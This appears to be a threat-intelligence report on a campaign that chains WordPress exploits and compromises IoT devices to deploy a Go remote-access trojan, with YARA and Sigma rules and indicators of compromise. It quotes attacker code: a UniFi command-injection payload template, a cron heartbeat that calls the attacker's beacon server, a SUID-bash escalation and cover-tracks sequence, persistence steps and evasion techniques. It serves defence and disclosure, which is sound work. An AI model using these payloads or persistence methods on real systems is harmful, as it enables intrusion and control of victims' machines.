wp2shell — Cross-Platform RAT Deployment via Zero-Credential WordPress Exploit

00. Key Findings

Open directory — staging server (:80). Agent binaries, stager script, and operator tooling left exposed without authentication.

01. Executive Overview

During continuous monitoring operations, an attacker-controlled open directory on a staging server was discovered — left browsable without authentication. The repository exposed a complete unified attack platform active since July 10, 2026: a WordPress exploitation toolkit leveraging a pre-authentication SQL injection in WordPress core, and a large-scale IoT botnet targeting Ubiquiti, D-Link, and Totolink devices. The open directory is the source of recovered artifacts, not the primary C2; agent communications route independently to v9g6.my:443.

Both attack vectors — WordPress exploitation and IoT compromise — are part of a single campaign and deliver the same payload: Agent-TCP, a cross-platform Go RAT compiled for 14 CPU architectures. Unpacked binary analysis reveals capabilities well beyond what the deployment scripts suggest — including in-memory fileless execution via Linux MemfdCreate, Windows DLL injection, post-quantum TLS (MLKEM), and an explicit Juniper SRX320 firewall execution fallback. The operator's development machine path leaked through the binary (see §05 Build Metadata).

Operator scripts contain Mandarin Chinese comments (批量部署, 架构映射, 持久化, 提权到 root). A dedicated target list focused on Chunghwa Telecom's network was recovered, along with a separate HNAP reconnaissance directory. A LoongArch64 binary variant is included in the payload set. No attribution to any specific threat actor is made.

02. Infrastructure Architecture

The infrastructure separates three distinct roles across two servers. The staging server — its open directory was the source of all recovered artifacts — separates artifact delivery from C2. Deployed agents do not report back here for tasking; they connect independently to v9g6.my:443. The :8443 port only receives lightweight heartbeat pings from shell-persistence scripts, not full RAT sessions.

wp2shell Stager — post-exploit shell script recovered from the open directory. Architecture detection, multi-method download, 4-method persistence installation.

C2 ACK — compromised host PC-KGE5382 checking in to v9g6.my:8443. Server returns PL=22 RID=4000 confirming active beacon session.

Infrastructure Topology

Exploitation Surface

03. WordPress Pre-Auth RCE — wp2shell (CVE-2026-63030 + CVE-2026-60137)

The wp2shell toolkit chains two WordPress Core CVEs to achieve zero-credential remote code execution. CVE-2026-63030 is a route-confusion desync in serve_batch_request_v1(): the function builds two parallel arrays ($matches and $validation) indexed by the same offset. A sub-request failing wp_parse_url() is appended to $validation but not to $matches, causing array desync — a subsequent request is dispatched under the wrong (unauthenticated) handler, enabling UNION/blind/error-based SQLi via the oEmbed cache and a customize_changeset pivot. CVE-2026-60137 is an authorization bypass in POST /wp/v2/users that allows the same desync'd unauthenticated request to create a WordPress administrator — no credentials required at any step. Affected: WordPress 6.9.0–7.0.1. Fixed: 7.0.2 / 6.9.5.

Six-Step Exploitation Chain

Exploitation Flow — wp2shell

Post-Compromise Stager

# wp2shell_stager.sh — persistence summary
VPS="http://[redacted]:80"
AGENT_PATH="/tmp/.cache-mgr"   # dot-prefix hidden

# Multi-fallback download: curl → wget → python3
# Architecture mapping: x86_64/aarch64/armv5/armv7/mips*/ppc64*

# Root persistence (6 concurrent methods):
1. crontab @reboot + */30 /etc/crontab
2. /etc/rc.local or /etc/rc.d/rc.local
3. systemd: /etc/systemd/system/cache-mgr.service (Restart=always, 30s)
4. /etc/init.d/cache-mgr
5. /etc/profile, /etc/bashrc, /etc/bash.bashrc injection
6. /etc/crontab direct write

# User persistence (www-data / non-root):
~/.bashrc, ~/.profile, ~/.bash_profile injection
crontab @reboot (user-level)
/etc/cron.d/cache-mgr if writable

04. IoT Botnet — CVE-2021-36260 + Multi-Vector

The IoT deployment pipeline uses batch_deploy.py and batch_deploy_full.py to automate mass compromise of Ubiquiti UniFi devices. The exploit path leverages CVE-2021-36260: a path traversal in the SSO validate endpoint combined with command injection via pkg_name, allowing unauthenticated root RCE on the UniFi controller.

Exploit Path — CVE-2021-36260

# batch_deploy.py — exploit path (from unpacked binary correlation)
BYPATH = "/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package"

# Payload delivery — base64-encoded shell command:
b64 = base64.b64encode(cmd.encode()).decode()
payload = f">/dev/null 2>&1 || true ; echo {b64} | base64 -d | sh ;"
path = f"{BYPATH}?pkg_name={quote(payload)}&by_cmd=true"

# Unauthenticated GET to HTTPS:443 → root RCE
# Timing oracle for blind verification: sleep {N}s delay → elapsed > N-0.5

Privilege Escalation + Deployment

# Escalation via passwordless sudo (observed in deploy logs)
sudo -n chmod 4755 /bin/bash   # SUID bash
bash -p -c '<command>'         # execute as root
sudo -n chmod 0755 /bin/bash   # restore (cover tracks)

# Agent masquerade on UniFi devices:
AGENT_PATH = "/usr/local/bin/.uniFi-core"   # hidden, mimics legitimate binary
SVC_NAME   = "uniFi-core"                   # systemd service impersonation

# Heartbeat — every 10 minutes via cron:
wget -qO /dev/null "http://[redacted]:8443/beacon?host=$(hostname)&arch=$(uname -m)&id=..."

Agent Architecture Coverage

05. Agent-TCP Binary Analysis — Unpacked

Both agent binaries (agent_linux_amd64 unpacked: 6.57 MB; agent_windows_amd64.exe unpacked: 6.81 MB) were analyzed post-UPX decompression. Build flags -ldflags="-s -w" strip symbols, but Go module metadata, type strings, and internal package paths survive in the binary. The following capabilities were extracted directly from string analysis of the unpacked binaries.

Build Metadata

Agent-TCP — Platform Capability Map

Capability Inventory — Extracted from Binary

C2 Protocol Stack

# Reconstructed from binary string analysis:

Transport:  TCP → TLS 1.3 (ECH enabled, MLKEM key exchange)
Framing:    HTTP/2 (HPACK header compression)
Encryption: ChaCha20Poly1305 AEAD (primary)
            AES-GCM (fallback)
Key Setup:  RSA asymmetric key exchange → HKDF derived session keys
Auth:       base64.Encoding (payload transport layer)
Recon:      json:"username,omitempty" json:"cpu_uname,omitempty"
            → structured JSON check-in with hostname, arch, CPU info

Protocol Wire Format — Reconstructed

// Server → Agent command envelope (JSON over custom frame)
{
  "cmd":    uint16,        // opcode — dispatch table key
  "data":   <typed payload>, // handler-specific struct
  "taskid": string,
  "uuid":   string
}

// Server ACK format (rotates auth token):
ACK_FROM_SERVER: PL=%d RID=%d   // Payload Length + Request ID
// "token updated from server ACK" — 16-byte token rotated each ACK

// Full beacon JSON (NodeOnlineData — all fields omitempty):
{
  "computer_name":      "",
  "cpu_cores":          0,
  "cpu_info":           "",
  "cpu_uname":          "",
  "cpu_usage_percent":  0.0,
  "device_type":        "",     // DMI chassis type — VM detection
  "disk_space":         "",
  "internet_ip":        "",     // queried from 5 geo-IP services
  "intranet_ip":        "",
  "language":           "",
  "libp2p_peer_id":     "",     // ~/.p2p/peer_id or \.p2p\peer_id
  "memory_total_mb":    0,
  "memory_used_mb":     0,
  "os_version":         "",
  "timezone":           "",
  "username":           ""
}

// External IP — 5 services queried in parallel (goroutines):
http://ipinfo.io/ip  ·  http://icanhazip.com  ·  http://api.ipify.org
http://ifconfig.me/ip  ·  http://checkip.amazonaws.com

Complete Handler Dispatch Table

Anti-Analysis — Advanced Techniques

// Linux: three-layer process masquerade
main.disguiseProcess()
  ├── loader.DisguiseProcessNameLinux()
  │     ├── prctl(PR_SET_NAME, "fake_name")   // defeats /proc/self/status Name:
  │     └── spoofArgv(argv[0], "fake_name")  // defeats ps aux + /proc/self/cmdline
  └── main.daemonize()                        // fork → setsid → detach tty

// Windows: IFEO hijack + ConPTY interactive shell
loader.disguiseIFEO()
  └── SOFTWARE\...\Image File Execution Options\<legit.exe>
        └── Debugger = C:\...\agent_windows_amd64.exe

// Interactive shell (Windows — full terminal, not piped cmd.exe):
CreatePseudoConsole() + ResizePseudoConsole()  // ConPTY — proper terminal sizing
Module32NextW / Thread32First / EnumProcesses  // process enumeration for injection target

// String obfuscation key derivation:
obfs.buildKey(hash/crc32)  // CRC32-based key → S-box substitution (obfs.S)
                              // C2 IP/domain hidden behind this — NOT plaintext

06. Full Attack Chain

Chain A — WordPress to RAT

Chain B — IoT Mass Compromise

07. Geographic Targeting — Observable Facts

Deployment logs recovered from the open directory confirm at least 167 compromised IoT devices. Victim devices span three countries: Taiwan (dedicated target list against Chunghwa Telecom's network), Japan (devices confirmed in deployment runs), and United States (IoT devices observed in botnet deployment logs). No geographic victim records exist for the WordPress exploitation component.

Taiwan — Dedicated Targeting Operation

A dedicated file targets_TW_chunghwa.txt recovered from the open directory contains IP addresses on Chunghwa Telecom's network (AS3462), Taiwan's primary ISP. A separate reconnaissance directory tw_recon_results/ contains device fingerprinting output specific to those targets — indicating active pre-exploitation scanning rather than passive collection. No attribution to any specific threat actor or government is made from these observations.

Taiwan Infrastructure Detail

08. MITRE ATT&CK Mapping

09. Detection

YARA

rule AgentTCP_Packed {
    meta:
        description  = "Agent-TCP RAT — UPX packed binary (wp2shell campaign)"
        hash_linux   = "9c285fe3a491ee6a6f872ae71d47dfe29e44a40b9e7fcba85a39a2368584333a"
        hash_windows = "4ff527e0d8fc36a99a491bc69a9cabeb055a4be470e22ec3da8e8bb741be9efc"
    strings:
        $upx   = { 55 50 58 21 0D 0A 1A 0A }
        $build = "go-agent-tcp" ascii
    condition:
        (uint32(0) == 0x464C457F or uint16(0) == 0x5A4D) and $upx and $build
}

rule AgentTCP_Unpacked {
    meta:
        description = "Agent-TCP RAT — unpacked binary or memory scan"
    strings:
        $path   = "D:/BIN_Research/Knowledge/Defense-Evasion/go-agent-tcp" ascii
        $mlkem  = "mlkemCiphertextSize" ascii
        $memexec = "handleMemExec" ascii
    condition:
        $path or ($mlkem and $memexec)
}

rule wp2shell_Stager {
    meta:
        description = "wp2shell post-compromise stager script"
        hash        = "8d7885a574459908cd70d3718119a31a4a6c95052e3d1548feeccfffa00d4cde"
    strings:
        $tag    = "[wp2]" ascii
        $beacon = "/beacon?host=" ascii
    condition:
        $tag and $beacon
}

Sigma

title: WordPress batch/v1 Route-Confusion SQLi (CVE-2026-63030 / wp2shell)
id: 7f3a8c20-e14b-4d92-b561-9c0d3f5e7a81
status: stable
tags: [attack.initial_access, attack.t1190]
logsource: {category: webserver}
detection:
  selection:
    cs-uri-stem|contains: '/wp-json/batch/v1'
    cs-uri-query|contains: 'author_exclude'
  condition: selection
level: critical

---
title: Agent-TCP Process Masquerade (wp2shell campaign)
id: 3d8b5f92-a741-4c1e-8b03-6e2d9f0c4a57
status: stable
tags: [attack.defense_evasion, attack.t1036.005]
logsource: {category: process_creation, product: linux}
detection:
  selection:
    Image|endswith:
      - '/usr/local/bin/.cache-mgr'
      - '/usr/local/bin/.uniFi-core'
      - '/usr/local/bin/dbusd'
      - '/usr/local/bin/syslog-ng'
  condition: selection
level: high

---
title: Agent-TCP IFEO Debugger Hijack (Windows)
id: 5a1c7e83-2b94-4f60-9d12-8c3e0b5f7a24
status: stable
tags: [attack.defense_evasion, attack.t1546.012]
logsource: {category: registry_set, product: windows}
detection:
  selection:
    TargetObject|contains: '\Image File Execution Options\'
    TargetObject|endswith: '\Debugger'
    Details|contains: 'agent_windows_amd64'
  condition: selection
level: high

10. Indicators of Compromise

Network

File Hashes — Agent-TCP (UPX packed)

File Hashes — Deployment Scripts

Filesystem & Persistence Artifacts

11. Defensive Recommendations

Immediate Actions

Forensic Hunt Commands

# Linux — binary and persistence artifacts
find /tmp /usr/local/bin -name ".cache-mgr" -o -name ".uniFi-core" -o -name "dbusd" 2>/dev/null
stat /tmp/.cache-mgr.log 2>/dev/null
systemctl status cache-mgr uniFi-core syslog-ng 2>/dev/null
crontab -l 2>/dev/null | grep -E "cache-mgr|uniFi|dbusd|beacon"
find /etc/systemd/system /etc/init.d -name "cache-mgr" -o -name "uniFi-core" -o -name "S99dbusd"
grep -r "[STAGING-IP]" /etc/ /root/.bashrc /etc/profile 2>/dev/null

# Check for MemfdCreate artifacts (process-level, no disk file)
ls -la /proc/*/fd/ 2>/dev/null | grep "memfd"

# WordPress admin audit
wp user list --role=administrator --fields=user_login,user_email 2>/dev/null | grep "wp2_\|wp2shell"